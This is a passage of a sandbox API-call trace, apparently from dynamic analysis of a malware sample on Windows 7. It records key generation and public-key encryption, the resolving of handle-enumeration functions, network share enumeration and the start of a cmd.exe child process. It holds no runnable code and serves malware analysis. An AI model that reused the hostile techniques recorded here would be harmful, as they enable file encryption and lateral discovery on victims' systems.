[0061.989] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f618 [0061.989] GetProcessHeap () returned 0x220000 [0061.989] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x2c) returned 0x23f4b8 [0061.989] CryptGenRandom (in: hProv=0x23cc38, dwLen=0x20, pbBuffer=0x23f4c4 | out: pbBuffer=0x23f4c4) returned 1 [0061.989] GetProcessHeap () returned 0x220000 [0061.989] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x2c) returned 0x23f4f0 [0061.989] CryptGenRandom (in: hProv=0x23cc38, dwLen=0x20, pbBuffer=0x23f4fc | out: pbBuffer=0x23f4fc) returned 1 [0061.989] GetProcessHeap () returned 0x220000 [0061.989] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x20) returned 0x23bab8 [0061.990] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee58, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f528) returned 1 [0061.990] CryptDecrypt (in: hKey=0x23f528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23bab8, pdwDataLen=0x18eec0 | out: pbData=0x23bab8, pdwDataLen=0x18eec0) returned 1 [0061.990] CryptDestroyKey (hKey=0x23f528) returned 1 [0061.990] GetProcessHeap () returned 0x220000 [0061.990] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x80) returned 0x23f980 [0061.990] GetProcessHeap () returned 0x220000 [0061.990] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x80) returned 0x23fa08 [0061.990] CryptImportKey (in: hProv=0x23cc38, pbData=0x23e460, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18eea0 | out: phKey=0x18eea0*=0x23f528) returned 1 [0061.990] CryptEncrypt (in: hKey=0x23f528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f980*, pdwDataLen=0x18eea4*=0x75, dwBufLen=0x80 | out: pbData=0x23f980*, pdwDataLen=0x18eea4*=0x80) returned 1 [0061.991] CryptDestroyKey (hKey=0x23f528) returned 1 [0061.991] CryptImportKey (in: hProv=0x23cc38, pbData=0x23e460, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x18eea0 | out: phKey=0x18eea0*=0x23f528) returned 1 [0061.991] CryptEncrypt (in: hKey=0x23f528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23fa08*, pdwDataLen=0x18eea4*=0x75, dwBufLen=0x80 | out: pbData=0x23fa08*, pdwDataLen=0x18eea4*=0x80) returned 1 [0061.991] CryptDestroyKey (hKey=0x23f528) returned 1 [0061.996] GetProcessHeap () returned 0x220000 [0061.996] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bab8 | out: hHeap=0x220000) returned 1 [0061.996] GetProcessHeap () returned 0x220000 [0061.996] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa0) returned 0x23fa90 [0061.996] CryptImportKey (in: hProv=0x23cc38, pbData=0x18ee48, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x23b27c | out: phKey=0x23b27c*=0x23f528) returned 1 [0061.996] CryptDecrypt (in: hKey=0x23f528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23fa90, pdwDataLen=0x18eeb4 | out: pbData=0x23fa90, pdwDataLen=0x18eeb4) returned 1 [0061.996] CryptDestroyKey (hKey=0x23f528) returned 1 [0061.996] GetProcessHeap () returned 0x220000 [0061.996] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1c) returned 0x23bab8 [0061.996] GetProcessHeap () returned 0x220000 [0061.996] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x23ee08 [0061.996] GetProcessHeap () returned 0x220000 [0061.997] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x23ee20 [0061.997] GetProcessHeap () returned 0x220000 [0061.997] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x19) returned 0x23bae0 [0061.997] GetProcessHeap () returned 0x220000 [0061.997] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x23ee38 [0061.997] GetProcessHeap () returned 0x220000 [0061.997] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xd) returned 0x23ee50 [0061.997] GetProcessHeap () returned 0x220000 [0061.997] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1a) returned 0x23bb08 [0061.997] GetProcessHeap () returned 0x220000 [0061.997] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1b) returned 0x23bb30 [0061.997] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0061.997] GetProcAddress (hModule=0x77c40000, lpProcName="NtQueryObject") returned 0x77c5f9e8 [0061.998] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0061.998] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0061.998] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000 [0061.998] GetProcAddress (hModule=0x77c40000, lpProcName="RtlGetVersion") returned 0x77c7873a [0061.998] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0061.998] GetProcAddress (hModule=0x76d30000, lpProcName="GetFinalPathNameByHandleW") returned 0x76d60a25 [0061.998] GetModuleHandleA (lpModuleName="Kernel32.dll") returned 0x76d30000 [0061.999] GetProcAddress (hModule=0x76d30000, lpProcName="QueryFullProcessImageNameW") returned 0x76d515f7 [0061.999] GetProcessHeap () returned 0x220000 [0061.999] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23fa90 | out: hHeap=0x220000) returned 1 [0061.999] GetProcessHeap () returned 0x220000 [0061.999] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ee08 | out: hHeap=0x220000) returned 1 [0061.999] GetProcessHeap () returned 0x220000 [0061.999] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ee20 | out: hHeap=0x220000) returned 1 [0061.999] GetProcessHeap () returned 0x220000 [0061.999] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bae0 | out: hHeap=0x220000) returned 1 [0061.999] GetProcessHeap () returned 0x220000 [0061.999] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ee38 | out: hHeap=0x220000) returned 1 [0061.999] GetProcessHeap () returned 0x220000 [0061.999] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ee50 | out: hHeap=0x220000) returned 1 [0061.999] GetProcessHeap () returned 0x220000 [0061.999] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb08 | out: hHeap=0x220000) returned 1 [0061.999] GetProcessHeap () returned 0x220000 [0062.000] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bb30 | out: hHeap=0x220000) returned 1 [0062.000] GetProcessHeap () returned 0x220000 [0062.000] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bab8 | out: hHeap=0x220000) returned 1 [0062.000] GetProcessHeap () returned 0x220000 [0062.000] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1000) returned 0x23fa90 [0062.000] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x23fa90, ObjectInformationLength=0x1000, ReturnLength=0x18ee94 | out: ObjectInformation=0x23fa90, ReturnLength=0x18ee94) returned 0xc0000004 [0062.000] GetProcessHeap () returned 0x220000 [0062.000] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23fa90 | out: hHeap=0x220000) returned 1 [0062.000] GetProcessHeap () returned 0x220000 [0062.000] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x2000) returned 0x23fa90 [0062.001] NtQueryObject (in: Handle=0x0, ObjectInformationClass=0x3, ObjectInformation=0x23fa90, ObjectInformationLength=0x2000, ReturnLength=0x18ee94 | out: ObjectInformation=0x23fa90, ReturnLength=0x18ee94) returned 0x0 [0062.001] RtlGetVersion (in: lpVersionInformation=0x18ed80 | out: lpVersionInformation=0x18ed80*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0062.001] GetProcessHeap () returned 0x220000 [0062.001] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23fa90 | out: hHeap=0x220000) returned 1 [0062.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404cf0, lpParameter=0x23ed68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4 [0062.003] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0090.884] CloseHandle (hObject=0xc4) returned 1 [0090.884] GetProcessHeap () returned 0x220000 [0090.885] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f980 | out: hHeap=0x220000) returned 1 [0090.885] GetProcessHeap () returned 0x220000 [0090.885] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23fa08 | out: hHeap=0x220000) returned 1 [0090.885] GetProcessHeap () returned 0x220000 [0090.885] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f4b8 | out: hHeap=0x220000) returned 1 [0090.885] GetProcessHeap () returned 0x220000 [0090.885] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f4f0 | out: hHeap=0x220000) returned 1 [0090.885] GetProcessHeap () returned 0x220000 [0090.885] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f478 | out: hHeap=0x220000) returned 1 [0090.885] GetProcessHeap () returned 0x220000 [0090.885] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f618 | out: hHeap=0x220000) returned 1 [0090.885] GetProcessHeap () returned 0x220000 [0090.885] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ed68 | out: hHeap=0x220000) returned 1 [0090.886] GetProcessHeap () returned 0x220000 [0090.886] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x23f618 [0090.886] GetProcessHeap () returned 0x220000 [0090.886] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f1c8 | out: hHeap=0x220000) returned 1 [0090.886] GetProcessHeap () returned 0x220000 [0090.886] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f2e0 | out: hHeap=0x220000) returned 1 [0090.886] GetProcessHeap () returned 0x220000 [0090.886] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba40 | out: hHeap=0x220000) returned 1 [0090.886] GetProcessHeap () returned 0x220000 [0090.886] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f348 | out: hHeap=0x220000) returned 1 [0090.887] GetProcessHeap () returned 0x220000 [0090.887] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f368 | out: hHeap=0x220000) returned 1 [0090.887] GetProcessHeap () returned 0x220000 [0090.887] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f3f0 | out: hHeap=0x220000) returned 1 [0090.887] GetProcessHeap () returned 0x220000 [0090.887] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bd70 | out: hHeap=0x220000) returned 1 [0090.887] GetProcessHeap () returned 0x220000 [0090.887] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f608 | out: hHeap=0x220000) returned 1 [0090.887] GetProcessHeap () returned 0x220000 [0090.887] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b928 | out: hHeap=0x220000) returned 1 [0090.887] GetProcessHeap () returned 0x220000 [0090.887] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b950 | out: hHeap=0x220000) returned 1 [0090.887] GetProcessHeap () returned 0x220000 [0090.888] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bce0 | out: hHeap=0x220000) returned 1 [0090.888] GetProcessHeap () returned 0x220000 [0090.888] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ed90 | out: hHeap=0x220000) returned 1 [0090.888] GetProcessHeap () returned 0x220000 [0090.888] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bd28 | out: hHeap=0x220000) returned 1 [0090.888] GetProcessHeap () returned 0x220000 [0090.888] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba18 | out: hHeap=0x220000) returned 1 [0090.888] GetProcessHeap () returned 0x220000 [0090.888] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9f0 | out: hHeap=0x220000) returned 1 [0090.888] GetProcessHeap () returned 0x220000 [0090.888] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f240 | out: hHeap=0x220000) returned 1 [0090.888] GetProcessHeap () returned 0x220000 [0090.889] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f230 | out: hHeap=0x220000) returned 1 [0090.889] GetProcessHeap () returned 0x220000 [0090.889] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b9a0 | out: hHeap=0x220000) returned 1 [0090.889] GetProcessHeap () returned 0x220000 [0090.889] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f260 | out: hHeap=0x220000) returned 1 [0090.889] GetProcessHeap () returned 0x220000 [0090.889] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23edc0 | out: hHeap=0x220000) returned 1 [0090.889] GetProcessHeap () returned 0x220000 [0090.889] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f270 | out: hHeap=0x220000) returned 1 [0090.889] GetProcessHeap () returned 0x220000 [0090.889] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b978 | out: hHeap=0x220000) returned 1 [0090.889] GetProcessHeap () returned 0x220000 [0090.889] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f280 | out: hHeap=0x220000) returned 1 [0090.889] GetProcessHeap () returned 0x220000 [0090.889] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23eda8 | out: hHeap=0x220000) returned 1 [0090.890] GetProcessHeap () returned 0x220000 [0090.890] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f290 | out: hHeap=0x220000) returned 1 [0090.890] GetProcessHeap () returned 0x220000 [0090.890] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f2b0 | out: hHeap=0x220000) returned 1 [0090.890] GetProcessHeap () returned 0x220000 [0090.890] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f2a0 | out: hHeap=0x220000) returned 1 [0090.890] GetProcessHeap () returned 0x220000 [0090.890] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f178 | out: hHeap=0x220000) returned 1 [0090.890] GetProcessHeap () returned 0x220000 [0090.890] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f188 | out: hHeap=0x220000) returned 1 [0090.890] GetProcessHeap () returned 0x220000 [0090.890] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f598 | out: hHeap=0x220000) returned 1 [0090.890] GetProcessHeap () returned 0x220000 [0090.890] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f5a8 | out: hHeap=0x220000) returned 1 [0090.891] GetProcessHeap () returned 0x220000 [0090.891] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23edd8 | out: hHeap=0x220000) returned 1 [0090.891] GetProcessHeap () returned 0x220000 [0090.891] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f5c8 | out: hHeap=0x220000) returned 1 [0090.891] GetProcessHeap () returned 0x220000 [0090.891] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23edf0 | out: hHeap=0x220000) returned 1 [0090.891] GetProcessHeap () returned 0x220000 [0090.891] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f5d8 | out: hHeap=0x220000) returned 1 [0090.891] GetProcessHeap () returned 0x220000 [0090.891] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f5f8 | out: hHeap=0x220000) returned 1 [0090.891] GetProcessHeap () returned 0x220000 [0090.891] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f5e8 | out: hHeap=0x220000) returned 1 [0090.892] GetProcessHeap () returned 0x220000 [0090.892] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f5b8 | out: hHeap=0x220000) returned 1 [0090.892] GetProcessHeap () returned 0x220000 [0090.892] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f198 | out: hHeap=0x220000) returned 1 [0090.892] GetProcessHeap () returned 0x220000 [0090.892] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23f618 | out: hHeap=0x220000) returned 1 [0090.892] GetProcessHeap () returned 0x220000 [0090.892] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23e460 | out: hHeap=0x220000) returned 1 [0090.892] CryptReleaseContext (hProv=0x23cc38, dwFlags=0x0) returned 1 [0090.893] GetProcessHeap () returned 0x220000 [0090.893] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b278 | out: hHeap=0x220000) returned 1 [0090.893] GetProcessHeap () returned 0x220000 [0090.893] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2308b0 | out: hHeap=0x220000) returned 1 [0090.893] ExitProcess (uExitCode=0x0) [0090.996] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 7 os_tid = 0x2c4 [0062.013] GetProcessHeap () returned 0x220000 [0062.013] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4000) returned 0x23fca0 [0062.013] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x481ff4c | out: lphEnum=0x481ff4c*=0x23cfb8) returned 0x0 [0065.018] WNetEnumResourceW (in: hEnum=0x23cfb8, lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50 | out: lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50) returned 0x103 [0065.019] WNetCloseEnum (hEnum=0x23cfb8) returned 0x0 [0065.019] GetProcessHeap () returned 0x220000 [0065.019] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23fca0 | out: hHeap=0x220000) returned 1 [0065.020] GetProcessHeap () returned 0x220000 [0065.020] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4000) returned 0x23fca0 [0065.020] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x481ff4c | out: lphEnum=0x481ff4c*=0x2453f0) returned 0x0 [0065.021] WNetEnumResourceW (in: hEnum=0x2453f0, lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50 | out: lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50) returned 0x103 [0065.022] WNetCloseEnum (hEnum=0x2453f0) returned 0x0 [0065.022] GetProcessHeap () returned 0x220000 [0065.022] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23fca0 | out: hHeap=0x220000) returned 1 [0065.022] GetProcessHeap () returned 0x220000 [0065.022] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4000) returned 0x23fca0 [0065.022] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x481ff4c | out: lphEnum=0x481ff4c*=0x23cfb8) returned 0x0 [0078.284] WNetEnumResourceW (in: hEnum=0x23cfb8, lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50 | out: lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50) returned 0x0 [0078.284] WNetEnumResourceW (in: hEnum=0x23cfb8, lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50 | out: lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50) returned 0x103 [0078.284] WNetCloseEnum (hEnum=0x23cfb8) returned 0x0 [0078.284] GetProcessHeap () returned 0x220000 [0078.284] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23fca0 | out: hHeap=0x220000) returned 1 [0078.284] GetProcessHeap () returned 0x220000 [0078.284] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4000) returned 0x23fca0 [0078.284] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x481ff4c | out: lphEnum=0x481ff4c*=0x245410) returned 0x0 [0078.287] WNetEnumResourceW (in: hEnum=0x245410, lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50 | out: lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50) returned 0x103 [0078.288] WNetCloseEnum (hEnum=0x245410) returned 0x0 [0078.288] GetProcessHeap () returned 0x220000 [0078.288] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23fca0 | out: hHeap=0x220000) returned 1 [0078.288] GetProcessHeap () returned 0x220000 [0078.288] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4000) returned 0x23fca0 [0078.288] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x481ff4c | out: lphEnum=0x481ff4c*=0x24cb90) returned 0x0 [0078.288] WNetEnumResourceW (in: hEnum=0x24cb90, lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50 | out: lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50) returned 0x0 [0078.289] GetProcessHeap () returned 0x220000 [0078.289] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4000) returned 0x24d798 [0078.289] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x23fca0, lphEnum=0x481ff14 | out: lphEnum=0x481ff14*=0x245410) returned 0x0 [0078.305] WNetEnumResourceW (in: hEnum=0x245410, lpcCount=0x481ff10, lpBuffer=0x24d798, lpBufferSize=0x481ff18 | out: lpcCount=0x481ff10, lpBuffer=0x24d798, lpBufferSize=0x481ff18) returned 0x103 [0078.305] WNetCloseEnum (hEnum=0x245410) returned 0x0 [0078.305] GetProcessHeap () returned 0x220000 [0078.305] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x24d798 | out: hHeap=0x220000) returned 1 [0078.305] GetProcessHeap () returned 0x220000 [0078.305] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4000) returned 0x24d798 [0078.306] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x23fcc0, lphEnum=0x481ff14 | out: lphEnum=0x481ff14*=0x0) returned 0x4b8 [0090.825] GetProcessHeap () returned 0x220000 [0090.825] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x24d798 | out: hHeap=0x220000) returned 1 [0090.825] GetProcessHeap () returned 0x220000 [0090.825] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4000) returned 0x24d798 [0090.826] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x23fce0, lphEnum=0x481ff14 | out: lphEnum=0x481ff14*=0x0) returned 0x4c6 [0090.831] GetProcessHeap () returned 0x220000 [0090.831] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x24d798 | out: hHeap=0x220000) returned 1 [0090.831] WNetEnumResourceW (in: hEnum=0x24cb90, lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50 | out: lpcCount=0x481ff48, lpBuffer=0x23fca0, lpBufferSize=0x481ff50) returned 0x103 [0090.831] WNetCloseEnum (hEnum=0x24cb90) returned 0x0 [0090.831] GetProcessHeap () returned 0x220000 [0090.831] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23fca0 | out: hHeap=0x220000) returned 1 Thread: id = 8 os_tid = 0x754 Thread: id = 9 os_tid = 0x688 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x467ab000" os_pid = "0xa48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa4c" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0xa20 [0054.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f790 | out: lpSystemTimeAsFileTime=0x26f790*(dwLowDateTime=0x71a62610, dwHighDateTime=0x1d5f166)) [0054.044] GetCurrentProcessId () returned 0xa48 [0054.044] GetCurrentThreadId () returned 0xa20 [0054.044] GetTickCount () returned 0x11477bf [0054.044] QueryPerformanceCounter (in: lpPerformanceCount=0x26f798 | out: lpPerformanceCount=0x26f798*=17461487804) returned 1 [0054.046] GetModuleHandleW (lpModuleName=0x0) returned 0x4a950000 [0054.046] __set_app_type (_Type=0x1) [0054.046] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a977810) returned 0x0 [0054.047] __getmainargs (in: _Argc=0x4a99a608, _Argv=0x4a99a618, _Env=0x4a99a610, _DoWildCard=0, _StartInfo=0x4a97e0f4 | out: _Argc=0x4a99a608, _Argv=0x4a99a618, _Env=0x4a99a610) returned 0 [0054.048] GetCurrentThreadId () returned 0xa20 [0054.048] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa20) returned 0x3c [0054.083] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0054.083] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0054.083] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0054.083] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0054.084] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26f728 | out: phkResult=0x26f728*=0x0) returned 0x2 [0054.084] VirtualQuery (in: lpAddress=0x26f710, lpBuffer=0x26f690, dwLength=0x30 | out: lpBuffer=0x26f690*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.084] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26f690, dwLength=0x30 | out: lpBuffer=0x26f690*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.084] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26f690, dwLength=0x30 | out: lpBuffer=0x26f690*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.084] VirtualQuery (in: lpAddress=0x174000, lpBuffer=0x26f690, dwLength=0x30 | out: lpBuffer=0x26f690*(BaseAddress=0x174000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.084] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26f690, dwLength=0x30 | out: lpBuffer=0x26f690*(BaseAddress=0x270000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0054.084] GetConsoleOutputCP () returned 0x1b5 [0054.085] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a98bfe0 | out: lpCPInfo=0x4a98bfe0) returned 1 [0054.085] SetConsoleCtrlHandler (HandlerRoutine=0x4a973184, Add=1) returned 1 [0054.086] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.086] SetConsoleMode (hConsoleHandle=0xfffffffffffffffe, dwMode=0x0) returned 1 [0054.088] _get_osfhandle (_FileHandle=1) returned 0xfffffffffffffffe [0054.088] GetConsoleMode (in: 